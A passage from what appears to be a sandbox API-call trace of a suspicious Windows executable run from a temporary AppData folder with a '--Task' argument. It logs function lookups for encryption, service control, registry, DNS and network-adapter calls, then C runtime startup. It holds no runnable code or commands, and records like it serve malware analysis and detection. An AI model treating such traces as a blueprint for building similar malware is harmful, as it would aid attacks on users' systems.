(hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0055.805] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0055.824] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0055.825] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0055.826] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.827] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0055.828] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0055.829] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0055.829] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0055.829] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0055.830] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0055.830] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0055.830] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0055.830] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0055.830] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0055.831] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0055.831] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0055.834] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0055.834] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0055.834] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0055.834] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0055.834] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0055.834] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0055.834] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0055.834] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0055.834] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0055.834] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0055.834] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0055.835] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0055.835] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0055.839] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0055.839] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0055.840] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0055.840] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0055.840] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0055.840] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0055.842] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0055.843] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0055.843] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0055.843] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0055.843] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0055.846] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0055.847] atexit (param_1=0x61d0d7) returned 0 [0055.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f390 | out: lpSystemTimeAsFileTime=0x18f390*(dwLowDateTime=0xd4df6b30, dwHighDateTime=0x1d52ab3)) [0055.847] GetCurrentThreadId () returned 0x5cc [0055.847] GetCurrentProcessId () returned 0x618 [0055.847] QueryPerformanceCounter (in: lpPerformanceCount=0x18f388 | out: lpPerformanceCount=0x18f388*=17611140995) returned 1 [0055.847] GetStartupInfoW (in: lpStartupInfo=0x18f320 | out: lpStartupInfo=0x18f320*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0055.847] GetProcessHeap () returned 0x5c0000 [0055.847] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.847] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.847] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0055.847] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.847] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.847] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0055.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0055.849] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0055.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x66e7d0 [0055.850] GetCurrentThreadId () returned 0x5cc [0055.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x664e98 [0055.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x66eb98 [0055.850] GetStartupInfoW (in: lpStartupInfo=0x18f2f0 | out: lpStartupInfo=0x18f2f0*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xccbeed1c, hStdError=0x0)) [0055.850] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.850] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.850] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.850] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --Task" [0055.850] GetEnvironmentStringsW () returned 0x66f3a0* [0055.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xaca) returned 0x66fe78 [0055.850] FreeEnvironmentStringsW (penv=0x66f3a0) returned 1 [0055.850] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0x5d [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x670950 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 0x670a30 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x663b30 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x670ad0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x670b48 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x661d80 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x670bc0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x66a5c8 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x6662b0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x669f70 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x66e490 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x670c30 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x661e00 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x66a600 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x66a638 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x66e4b8 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x670c88 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x670d68 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x670df0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x663b78 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x670e30 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x669fa0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x66a670 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x670ec8 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x666300 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x670f08 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x663bc0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x66f3a0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x66a6a8 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x66e4e0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x66a6e0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x670f68 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x66f430 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x66a718 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x663c08 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x66f490 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x669fd0 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x66a750 [0055.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x66f4f0 [0055.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x66fe78 | out: hHeap=0x5c0000) returned 1 [0055.852] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x80) returned 0x66f588 [0055.852] GetLastError () returned 0x0 [0055.852] SetLastError (dwErrCode=0x0) [0055.852] GetLastError () returned 0x0 [0055.852] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x66f610 [0055.852] GetLastError () returned 0x0 [0055.852] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.852] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f2e4 | out: lpCPInfo=0x18f2e4) returned 1 [0055.852] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edac | out: lpCPInfo=0x18edac) returned 1 [0055.852] GetLastError () returned 0x0 [0055.852] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.852] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e8e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 